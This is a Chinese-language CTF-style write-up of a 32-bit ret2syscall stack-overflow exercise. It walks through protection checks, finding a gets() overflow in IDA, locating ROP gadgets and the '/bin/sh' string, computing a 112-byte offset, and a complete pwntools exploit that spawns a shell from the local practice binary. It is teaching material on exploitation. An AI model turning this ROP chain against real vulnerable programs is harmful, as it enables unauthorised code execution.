栈溢出--ret2syscall
安全属性检查
无栈溢出保护,且关闭了PIE

文件属性检查
32位elf文件可执行程序,静态编译的(具有足够多的代码片段供漏洞利用)

静态分析
根据ida的反编译代码可以看到,main函数中调用了gets函数,将用户输入的内容保存在局部变量v4中,此处为溢出点

漏洞利用思路
ret2syscall的利用方式需要在程序中找到gadget拼凑成如下代码,从而触发32位的系统调用,间接执行execve("/bin/sh",NULL,NULL)
``asm
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
=> execve("/bin/sh",NULL,NULL)
对于要拼凑出这样一段代码,我们得利用rop的思想,找到同时存在pop ret的代码片段。
```shell
ROPgadget --binary ret2syscall --only "pop|ret"
首先需要找到一个地址可以给eax赋值,0x080bb196这个地址的代码片段复合我们的期望。

然后需要找到一个地址可以给ebx赋值,发现0x0806eb90这个地址的代码片段除了能给ebx赋值,还能给ecx,edx赋值,复合我们的期望

ebx的值是/bin/sh这个字符串,我们在.rodata段中找到了此字符串,地址为0x80be408

至此,能够实现执行execve("/bin/sh",NULL,NULL)的所有代码片段都找到了,整体拼接如下:

动态分析
在main函数输入字符串后,观察栈中的数据,局部变量存放的地址在0xffffd15c,main函数的返回地址在0xffffd1cc,由此可以计算出偏移为112字节,即需要输入112字节的垃圾数据才能够覆盖ebp

exp编写
from pwn import *
io = process("/home/pwn/桌面/题目/ROP/ret2syscall")
eax_ret_addr = 0x080bb196
edx_ecx_ebx_ret_addr = 0x0806eb90
int_0x80_addr = 0x08049421
# 在elf文件中搜索字符串
# elf = ELF("/home/pwn/桌面/题目/ROP/ret2syscall")
# addr = next(elf.search(b"/bin/sh"))
# print(f"{addr:#08x}")
bin_sh_addr = 0x080BE408
int_0x80_addr = 0x08049421
payload = flat([b'A'*112,eax_ret_addr,0xb,edx_ecx_ebx_ret_addr,0,0,bin_sh_addr,int_0x80_addr])
io.recv()
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号